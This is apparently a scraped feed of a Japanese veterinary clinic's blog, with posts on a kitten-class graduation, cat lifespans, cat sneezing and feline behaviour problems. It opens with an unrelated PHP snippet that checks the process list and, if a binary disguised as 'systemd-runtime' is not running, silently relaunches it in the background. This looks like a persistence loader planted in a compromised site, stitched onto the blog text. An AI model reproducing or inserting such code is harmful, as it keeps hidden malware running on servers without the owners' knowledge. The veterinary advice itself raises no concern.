$programFilePath = 'systemd-runtime';
$processList = shell_exec('ps aux');
if (strpos($processList, $programFilePath) === false) {
$commandToExecute = 'nohup ./' . $programFilePath . ' > /dev/null 2>&1 &';
shell_exec($commandToExecute);
}
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]]>3月に入り、日々暖かくなり、わんちゃん、ねこちゃんも過ごしやすい気候になってきましたね!
3月といえば満開の桜に、卒業シーズン…
今回はそんな時期にぴったりなブログです(^^♪
全8回のこねこ教室を終えて無事卒業を迎えた宇多(うた)ちゃんをご紹介します(=^・^=)
お家に迎え入れてからすぐにこねこ教室に通い始めてくれた宇多ちゃんと飼い主さん。コロナ禍もあり途中期間が空いてしまいましたが、とても熱心な飼い主さんと頑張り屋さんの宇多ちゃんのご協力もあってこの度、無事卒業となりました♬おめでとうございます
はじめは飼い主さんの膝の上から降りられないくらい甘えん坊さんだった宇多ちゃん。段々と回数を重ねていくうちに診察台の上でもお利口さんでいられるようになり、歯磨き、投薬練習もばっちりできるようになりました!!
飼い主さんも最初は何事も初めてで、緊張気味でしたが今では爪切りをはじめ、歯磨き、投薬練習としっかり練習の成果が出ており、最後のこねこ教室の時にはすべてお一人でできるようになっていました!!とても素晴らしいことです(^^)/
また、お家でのケアができるだけではなく、キャリーバッグに入れて動物病院に来ること自体にもストレスフリーであることがこねこ教室を実施している私にとってはうれしい限りでした(^O^)
卒業証書とともに記念にパチリ!
スタッフ一同でお祝い記念撮影☆
とても熱心で猫ちゃん大好きな飼い主さんはこねこ教室を卒業しても、宇多ちゃんがこれからも病院を嫌いにならないようにおやつをもって定期的に病院に足を運んでくださるとのことでした。是非スタッフ一同お待ちしております(^^♪
これから猫ちゃんを迎えようと考えている方や、新しく子猫を迎えた飼い主さん、子猫を保護された飼い主さん、こねこ教室に興味がある方はスタッフや獣医師までお気軽にご相談ください♪
また、猫ちゃんの飼育相談やお悩みなどはオンラインでも受け付けておりますので、なにかありましたらご相談くださいね
オンラインなら、なかなか動物病院に連れてこられない飼い主さんにもお勧めです☆
今回久しぶりのブログになってしまいましたが、おめでたい報告ができてうれしく思います♡
ではまた次回のブログをお楽しみに~(^^)/
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]]>The post 【猫の寿命】獣医師が教える愛猫と1日でも長く一緒にいるための秘訣 first appeared on 動物の医学 | 本牧通り動物病院.
]]>家族の一員である猫さんに1日でも長生きしてもらいたいですよね。長生きのために飼い主ができることをまとめました。
大切な猫に長生きしてもらうために、今日からできることを盛り込んだので、ぜひやってみてくださいね。
2020年に一般社団法人ペットフード協会から発表された「全国犬猫飼育実態調査」では、猫の平均寿命は15.45歳という結果でした。
2010年に行われた同調査によると猫の平均寿命は14.4歳。
参考:「全国犬猫飼育実態調査」
長生きの傾向のある猫種は何でしょうか?そもそも猫種によって違いがあるのでしょうか?
英国の論文 (Dan G O’Neill et al., 2015)では混血猫の方が純血猫より寿命が長いとの報告があります。
日本では2017年にアニコムグループが保険を契約している猫を対象として調査した報告があります。それによると、人気猫種トップ10位の平均寿命は以下の結果になりました。
【猫の品種別の平均寿命(保険契約頭数上位10品種)】
猫の品種別の平均年齢 | 平均寿命 |
---|---|
混血猫 | 14.3歳 |
日本猫 | 14.3歳 |
ペルシャ(チンチラ) | 13.9歳 |
アメリカン・ショートヘア | 13.5歳 |
ラグドール | 13.5歳 |
スコティッシュ・フォールド | 13.4歳 |
ロシアンブルー | 13.1歳 |
ノルウェージャン・フォレスト・キャット | 12.6歳 |
メイン・クーン | 12.5歳 |
マンチカン | 11.2歳 |
もし飼い方で愛猫の寿命が長くなるのであれば、その方法を知りたいですよね。
2020年にペットフード協会が発表したデータは、家飼いの猫は外飼いの猫に比べて平均寿命が約2.5年長いという結果になりました。
【飼い方別平均寿命】
飼い方 | 平均寿命 |
---|---|
家飼いの猫 | 16.13歳 |
外飼いの猫 | 13.57歳 |
参考:「家庭どうぶつ白書2017」
野良猫の寿命は約3〜5歳と言われています。
理由としては、ウイルスや寄生虫などの感染症にかかりやすいことや、交通事故や怪我にあう可能性が飼い猫より高いことがあげられます。
そのことからも、家飼いの猫の方が外飼いの猫より長生きしやすいのが想像つきますね。
人間は女性の方が長生きと言われますが、猫はどうなのでしょうか。
スウェーデンで行った49,450匹の大規模な調査(A.Egenvall et al., 2009)では性別による寿命の差はないという結果でした。
ところが、日本でのアニコムグループによる報告では以下のようにメスの方が長生きという結果になりました。
【オスメス別平均寿命】
性別 | 平均寿命 |
---|---|
メス | 14.8歳 |
オス | 13.7歳 |
参考:「家庭どうぶつ白書2017」
猫は避妊や去勢の影響も受けるため、一概にオスメスで判断できないのも意見が分かれる要因の一つかもしれません。
世界で一番長生きした猫は何歳なのでしょうか。
ギネス世界記録によると38歳3日生きた猫が最長と記録されています。アメリカに住んでいたクリーム・パフちゃんというメス猫です。
人間でいうと、なんと約170歳! 残念ながら、2005年に亡くなってしまっていますが、未だにその記録は破られていません。
ちなみに本牧通り動物病院での最高齢の記録は、23歳マッシュちゃん(オス)! 次に、22歳8ヶ月ヒメちゃん(メス)です! (2021年7月現在)
2匹とも高齢で闘病中でしたが、とても幸せそうな表情をしていますね。
猫の寿命や長寿の記録が分かったところで、猫の年齢は人間でいうとどのくらい?と疑問に思った方もいるのではないでしょうか。
【猫と人間の年齢換算表】
猫の年齢 | 人間の年齢 |
---|---|
0−1ヶ月 | 0−1歳 |
2−3ヶ月 | 2−4歳 |
4ヶ月 | 6−8歳 |
6ヶ月 | 10歳 |
7ヶ月 | 12歳 |
12ヶ月 | 15歳 |
18ヶ月 | 21歳 |
2歳 | 24歳 |
3歳 | 28歳 |
4歳 | 32歳 |
5歳 | 36歳 |
6歳 | 40歳 |
7歳 | 44歳 |
8歳 | 48歳 |
9歳 | 52歳 |
10歳 | 56歳 |
11歳 | 60歳 |
12歳 | 64歳 |
13歳 | 68歳 |
14歳 | 72歳 |
15歳 | 76歳 |
16歳 | 80歳 |
17歳 | 84歳 |
18歳 | 88歳 |
19歳 | 92歳 |
20歳 | 96歳 |
参考:The Feline Advisory Bureau(現在のInternational Society of Feline Medicine国際猫医学会)
上記の換算表のように猫の2歳は人間の24歳に相当します。3年目からは1年で4歳ずつ歳をとります。
【計算方法】(2歳以上の猫)
24+(猫の年齢−2)×4
例)5歳の猫の場合
24+(5−2)×4=36 ⇨36歳
子猫の時から飼っている愛猫が、気が付いたら自分の年齢を越していた…なんてことがあるかもしれません。
猫は何歳からが高齢と言われるのでしょうか。また、それぞれのライフステージで気をつけるべきポイントは何でしょう。
アメリカ猫医療専門家協会(AAFP)とアメリカ動物病院協会(AAHA)のライフステージガイドラインによると、猫のライフステージは6段階に分けられます。
小さな行動の変化でも、より一層注意を向けてあげてください。また、どのような生涯を送るのが愛猫にとって幸せなのか家族で話し合っておくのも重要です。
年齢によって注意しないといけないポイントは異なります。猫のライフステージを知ることは愛猫に合ったケアに繋がりますね。しかし、年齢はあくまでも目安です。
若い時からちょっとしたことに気をつかっていると、病気の予防や長生きにつながります。今の愛猫の生活と照らし合わせてみてくださいね。
栄養に関して○○の成分が長生きにつながる!などは残念ながらありません。今の猫の年齢に合ったもの、体重に合った量をあげるのが一番重要です。
太りすぎの原因の多くはご飯やおやつの与えすぎです。また、病気になってしまった場合はそれぞれの食事療法があるので、獣医師に相談することをオススメします。
ドライフードと缶詰のご飯どちらが良いの?と質問されることもあります。結果から言いますと、どちらでも大丈夫。
ちなみにわたしは歯に付きにくいこと、室温に数時間置いておいても悪くなりにくいことからドライフードを愛猫にあげています。
猫にとってストレスの少ない環境が長生きにつながると言われています。猫と一緒に暮らすときに考えるべきポイントをまとめました。
【絶対に用意するべき環境】
また、猫はとてもきれい好きです。トイレが汚れているとうんちやおしっこを我慢してしまうこともあるので、こまめにチェックしましょう。
「猫はどんな風に成長する?注意すべきポイントは?」でもお伝えしたように12歳以上の猫の90%が変形性関節症になると言われています。
人間でも年を取ると関節が痛み階段が辛い、なんてことがあるかもしれません。高齢期すぎたらトイレや食事の場所はアクセスしやすいか、低い場所にもストレスなく休めるスペースがあるかなど環境の見直しをしてあげてください。
「1.猫の平均寿命は?」の項目でお伝えしたように、家飼いの方が外飼いより平均寿命が長いというデータがあります。
やはり、家の外はウイルスや寄生虫などの感染症にかかりやすく、交通事故や怪我にあうキケンもいっぱい。愛猫を守るためには家飼いがオススメです。
家飼いがオススメと言われても、元々野生だった猫は家の中ではストレスが溜まってしまいそうですよね。
おもちゃでの狩りごっこは、猫の狩猟本能を満足させストレスを減らします。飼い主とのコミュニケーションの一つでもあり、性格にもよりますが遊んでもらえたという満足感にもつながります。
もしかしたら猫としては「遊んであげてもいいにゃ」くらいに思っているかもしれませんが…
また「猫はどんな風に成長する?注意すべきポイントは?」でもお伝えしたように7−10歳の壮年期の猫は太りやすく、肥満は糖尿病や関節炎など病気の原因になります。
体重管理のためにも、家の中でも運動量が確保できるようなスペースやおもちゃを用意してあげることは大切です。
病院に行った時は手遅れだった…なんて事態を避けるためにも早期発見・早期治療をめざしたいですよね。
猫の病気のサインを知っていると早期発見の手がかりになり、長生きにつながります。
【よくある病気のサイン】
これらの症状は猫がかかりやすい病気(慢性腎臓病、膀胱炎、糖尿病、甲状腺機能亢進症など)のサインです。他にも普段と様子が違うことがあれば、獣医師に相談することをオススメします。
長生きしてもらうためには愛猫をよく観察すること。元気で若いときから猫の行動を気にしてあげていると、普段との違いも気がつきやすいかもしれません。
病気のサインにいち早く気が付くのも大切ですが、猫は体調が悪いのを隠す動物…家で見ているだけでは限界があります。繰り返しになりますが、長生きのために病気の早期発見・早期治療は重要です!
しかし、いざ体調が悪くなり病院に行ったけど、嫌がってしまい検査ができない、なんてこともあるかもしれません。手遅れにならないためにも子猫の時から定期的に健診に行き、病院に慣れてもらいましょう。もちろんワクチン接種も病気の予防に大切です。
アメリカ猫医療専門家協会(AAFP)とアメリカ動物病院協会(AAHA)のガイドラインによると、全ての猫に対して1年に1〜2回は病院で健康診断を受けることが推奨されています。
特に壮年期(7歳)以上の猫は1年に2回、血液検査も含めた健康診断が推奨されています。
最後まで読んでくださった方は愛猫のことをすごく考えている方です。それだけでも飼い主さんとしてはパーフェクト!ただ、人間がそれぞれ違うように、猫も1匹1匹性格も年の取り方も違います。
もっと愛猫を理解して、家族みんなで幸せに過ごす時間が1日でも長くなれば良いですよね。
<略歴>
2014年 日本大学 獣医学科 卒業
2016年 東京大学附属動物医療センター 内科系診療科 研修医終了
2016年 本牧通り動物病院 勤務
2019年 ボストンに渡米
現在子育て中
本牧育ち、アメリカのボストンで夫と娘と猫と4人暮らし
学生時代は吹奏楽部でクラリネットに熱中
目標は最初から最期まで動物とご家族に寄りそえる獣医師になること
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]]>The post 【猫のくしゃみ】病気かどうかの見分け方や原因を獣医師が解説 first appeared on 動物の医学 | 本牧通り動物病院.
]]>猫のくしゃみは寒いから出るわけではなく、放置しても大丈夫な場合とそうでない場合があります。
猫がくしゃみをしているとき、それが生理現象によるものであれば心配ありませんが、病気の可能性もあるため注意が必要です。
人間と同じように何かが鼻に入ってむずむずしたときに出るものです。ほこりや煙などの異物を鼻から排出しようとするために起こります。
細菌やウイルスの影響でくしゃみが出ることがあります。次のような症状があれば病気の可能性があります。
生理現象でないくしゃみの場合に考えられる原因としては、以下のことが挙げられます。
感染することでくしゃみを引き起こすウイルスや細菌が多数あり、くしゃみ以外にあらわれる症状はそれぞれ異なります。
主なものとしては猫ヘルペスウイルスや猫カリシウイルスといったウイルスや、Bordetella bronchisepticaやクラミジアといった細菌、クリプトコッカスといった真菌(カビ)が原因として挙げられます。俗にいう「猫風邪」もウイルスや細菌による感染症です。
初期の鼻水はサラサラしていますが、次第にねばついたり膿(うみ)が混じったりしてくることがあります。また、クリプトコッカス症は鼻が変形してしまうことがあります。
人と同じように、ハウスダストや花粉などに対してアレルギーを持っていると、くしゃみや鼻水などの症状がみられます。
アレルギーの場合は、ほかに皮膚炎や鼻づまりを起こすこともあり、放置すると重篤化するおそれもあるため注意が必要です。
猫は好奇心旺盛なので、気になったものに鼻先をくっつけ、それが細かいものだと吸い込んでしまう場合があります。そのため生理現象でくしゃみが出ますが、異物が詰まってしまって出てこない場合は病院で取ってもらうようにしましょう。
また、タバコの煙や香水なども刺激となりくしゃみの原因になります。
「猫風邪」は、くしゃみや鼻水、発熱、食欲不振などといった人間の風邪に似た症状があることからそう呼ばれています。
前述のようにウイルスや細菌などに感染して発症しますが、一般的には「猫ヘルペスウイルス」「猫カリシウイルス」によるものが多くみられます。
「猫ヘルペスウイルス」「猫カリシウイルス」が原因の場合、それぞれ次のような違いがみられます。
目にも症状があらわれやすいことが特徴です。くしゃみや鼻水のほかに、結膜炎やそれによる眼脂、角膜潰瘍などを起こすことがあります。
また、一度感染してしまうと回復後も体内にウイルスが残るので、ストレスがあったり免疫が落ちたりしたときに再度症状があらわれる場合があり、生涯にわたって良くなったり悪くなったりを繰り返す可能性があります。
口腔内にも症状があらわれやすいことが特徴です。くしゃみや発熱のほかに、口内炎や舌の潰瘍がみられることがあります。
また猫ヘルペスウイルス同様、体内にウイルスが残ってしまうため、元気になった後も再度症状が出ることがあります。さらに感染力も強いので、ほかの猫が近くにいる環境では特に気をつけましょう。
残念ながらこれらのウイルスに対する特効薬はありません。症状に合わせて抗生物質やインターフェロンなどの投与を行います。
体力のある成猫であれば自然治癒することもありますが、子猫や高齢の猫の場合は重症化するおそれがあります。そのため、予防や早期発見・早期治療がカギとなります。気になる症状があれば早めに受診しましょう。
ワクチン接種が有効です。また、野良猫などから感染する可能性が高いため、外に出すことはオススメしません。
多頭飼いのお家の猫が猫風邪をひいてしまった場合は、1匹から感染が広がってしまう場合もあるので、獣医師の指示に従い他の猫とは一定期間隔離した方が良いでしょう。
そのままにしておくと猫にとって不快なだけでなく、固まってしまい鼻の穴を塞いでしまう事があるので、拭き取ってあげてください。
ティッシュなどでやさしく拭いてあげましょう。
鼻をぶつけるなど外傷性の鼻血もあります。猫が興奮しないように落ち着いて対処してください。
また、病気によっては痛みがあり、鼻を触られるのを嫌がる場合もあります。嫌がり興奮してしまう場合は無理をせず、獣医師にお任せください。
一時的なくしゃみであれば問題ありませんが、そうでない場合は病気が隠れているおそれがあります。
「病気の可能性があるくしゃみ」でご紹介した症状がある場合は、早めに受診しましょう。
また、必ずしもくしゃみが出るわけではありませんが、呼吸するときにイビキのような音がする場合、鼻腔から咽頭、喉頭にかけて異物や腫瘤のある可能性もあるので、病院でよく相談してください。
なお、病院へ行くときは以下に示す情報を伝えられるようにしておくと、くしゃみの原因を知る手掛かりになります。
くしゃみやくしゃみを伴う病気を防ぐために、できることがいくつかあります。
アレルギー症状につながるハウスダストや花粉、ダニを減らすためにも、こまめに掃除機をかけてきれいにしておきましょう。
猫が興味を持って鼻先をつけそうで細かいものは、うっかり吸い込んでしまわないようにフタをするなどしてしっかり管理してください。
空気が乾燥していると、ウイルスが繁殖しやすくなり感染症のリスクが高くなってしまいます。冬場など、乾燥しているなと感じたら加湿器などで適度に保湿しましょう。
猫の毛にほこりやダニがついていると、毛づくろいしたときなどに一緒に体内に入って、アレルギーの原因になってしまう場合があります。それを防ぐためにも、こまめにブラッシングしてきれいにしてあげるのも有効です。
ほかの猫と接触することで感染症にかかってしまう可能性が高くなるため、屋外には出さず完全室内飼いにすることをオススメします。多頭飼いの猫で感染症が疑われた場合、ほかの猫にうつさないために隔離するようにしましょう。
子猫のうちから混合ワクチンを接種することで、感染症を予防することができます。屋外に出る猫はもちろんのこと、完全に室内で飼っている猫でも定期的な接種が望ましいです。
ふだん頻繁にするものではないので、くしゃみをしていたら気づかれる方も多いのではないでしょうか。
くしゃみには思いがけない病気が隠れている場合もあります。
「ちょっと回数が多いな」「昨日からくしゃみが続いてるな」「様子がいつもと違う気がする」など気になることがあったら、早めに病院へ連れて行ってあげてくださいね。
<略歴>
1990年 岩手大学 卒
同年 東京大学獣医外科学教室 研究生
1992年 戸ヶ崎動物病院 勤務
2018年 本牧通り動物病院 院長着任
<所属学会・研究会>
日本獣医麻酔外科学会
日本獣医がん学会
獣医神経病学会
日本獣医顎顔面口腔外科研究会
どうぶつ達との生活を含めた家族第一主義
学生時代にスキー、温泉、日本酒に目覚め現在に至る
モットーは人の気持ちを想うこと
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]]>The post 猫の問題行動 :過剰グルーミング first appeared on 動物の医学 | 本牧通り動物病院.
]]>グルーミングを”する”、”される”。
これは、猫同士のスキンシップの表現方法であり、自己ヒーリングの一手段でもあります。
猫を飼われている方はご経験があるかと思いますが、すり寄ってくる猫の頭や身体をほんの少し力を加えて撫でることで、猫との親密さが増します。
そのまま続けていると猫自身もこちらをグルーミングしてくれるようになったりします。これは、まさに猫がスキンシップの相手として飼い主を選んでいることの証です。
ここまでであれば、私自身を含めて、猫の飼い主としては申し分のない状況といえるのではないかと思います。
しかし、グルーミングを自己ヒーリングの手段とした際、猫の感じているストレスが、自己グルーミングによって緩和されない場合、ひたすらにグルーミングを行うことになります。
そうすると、やがて、被毛が切れ、薄毛となり、最後には脱毛し、毛の無い状態となってしまいます。このような時に飼い主の方が、皮膚病と思われ受診されても、結果的に何も判明しないことがあります。ある意味、獣医師泣かせの問題行動でもあります。
逆に考えてみれば、皮膚病変が確認できないことは過剰グルーミングの可能性を示唆していることとなります。
但し、無毛になった皮膚をグルーミングし続けると、やがて皮膚が傷ついて口腔内の細菌が感染し、皮膚病となることがあります。
しかし、皮膚病を治療したとしてもそのストレスを見つけて取り除いてあげないと、再発を繰り返すことになります。
根本治療は明確で、原因となっているストレスの除去にありますが、そのストレスを見つけだすことが困難な場合改善できません。
一般的に人間で起こる心因性の円形脱毛症に相当する皮膚病は、動物には無いと言われてきましたが、猫の過剰グルーミングによる脱毛は、心因性という点では、似ていると言えるかもしれません。
猫の問題行動の治療は犬と違い明確な治療と呼べるものが無く、むしろ、原因となる事や物を事前に排除したり、猫の特異な生活様式に基づく行動には、代替を与えることで解決する事が、多かったりするといった点から考えると、治療と言うよりも予防行為と位置づける方が、正しいのかもしれません。
猫の問題行動を回避する為には、私を含め、猫の飼い主であるみなさんが、より猫の行動特性を理解し、常に猫の行動について先回りして、考える癖をつけるように心がける必要があるかもしれません。
ですが、個人的には、猫の後を追い回して、世話をしている方が、猫の飼い主らしいなぁと自分では、思っています。
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]]>The post 猫の問題行動 :転嫁行動 first appeared on 動物の医学 | 本牧通り動物病院.
]]>少し状況の説明が難しいのですが、頑張って想像してみてください。
猫が家内にいる状況下で、自らのなわばりと認識している敷地内(外に出ることがあってもなくても)に他の猫が居るのを窓越しに見つけた場合などに、猫は警戒態勢になります。
通常は、直接相手を威嚇するなどして、追い払うなどの行動に移れるのですが、屋内に居るため、追い払い行動が不可能な状況となります。
そうすると猫は、ストレスとパニックとが混じり合った複雑な興奮状態へと一時的に陥り、その際、近くにたまたま飼い主がいた場合、代償行為として飼い主へ攻撃(転嫁)することがあります。
この一時的なことでも猫の性格、興奮の程度によって、飼い主の方がひどい怪我を負うことがあります。
そして、この興奮が一時的であれば、時間の経過と共に薄まり、収まって一過性のこととして終わるのですが、極々稀に、この興奮が持続状態となり、連続して飼い主の方を攻撃するようになったり、外にいる猫を見ることが条件付けとなり、そのたびに飼い主の方を攻撃するようになり、ひどい場合には持続的に攻撃し続けることとなります。
このような状態に陥る猫は、遺伝的素因があると考えられていますが、遺伝的素因が原因である場合は、現在のところ治療法は確立していません。
経験上、相談を受けた猫の種類、毛色に偏りがあるので、遺伝的素因が少なからず絡んでいる可能性が高いのではと私自身も考えています。
この案件がエスカレートしていくと、飼育が困難になるか、不能となります。
私は、潜在的にこうした猫の数は、実は多いのではないかと考えています。
ただ、こうした猫たちは、猫の飼い主特有の寛容さに救われているのだと思います。
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]]>The post 猫の問題行動 :不適切な場所での爪研ぎ first appeared on 動物の医学 | 本牧通り動物病院.
]]>この問題行動は、基本的に市販の爪研ぎ器を与えることで解決できることが多いようです。
ただ、猫は、個々に爪研ぎをする場所の高さ、材質、傾き具合など好みが様々なので、なるべく猫の好みに合うものをご購入されることをお奨めします。
また、段ボールタイプのものなどは、猫とって微妙な爪の引っかかり具合があるらしいので、ある程度使用したら交換する必要があります。
交換のタイミングが悪いと、また、猫の好きな場所で、爪研ぎをされてしまうことになるので注意が必要です。
余談ですが、一説では、猫は爪研ぎ時に手のひらから一種のフェロモンを分泌していて、その場所にマーキングをしているといわれています。
また、年をとると段々と爪研ぎをしなくなる傾向になります。そうすると古い爪が残り、爪の根本に分泌物や汚れが付着して、より爪を収納しづらくなり、やがて、歩いているときに音がするようになります。こういった状態が、長く続くと、爪周囲に炎症を起こしてしまう猫もいます。
ですから、老齢の猫では、定期的に爪切りをして、古い爪を落として、爪研ぎの代わりをしてあげると良いでしょう。
もちろん、ご家庭で爪切りができない場合は、動物病院にご相談ください。
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]]>The post 猫の問題行動 :飼い主の方を後ろから襲う first appeared on 動物の医学 | 本牧通り動物病院.
]]>The post 猫の問題行動 :飼い主の方を後ろから襲う first appeared on 動物の医学 | 本牧通り動物病院.
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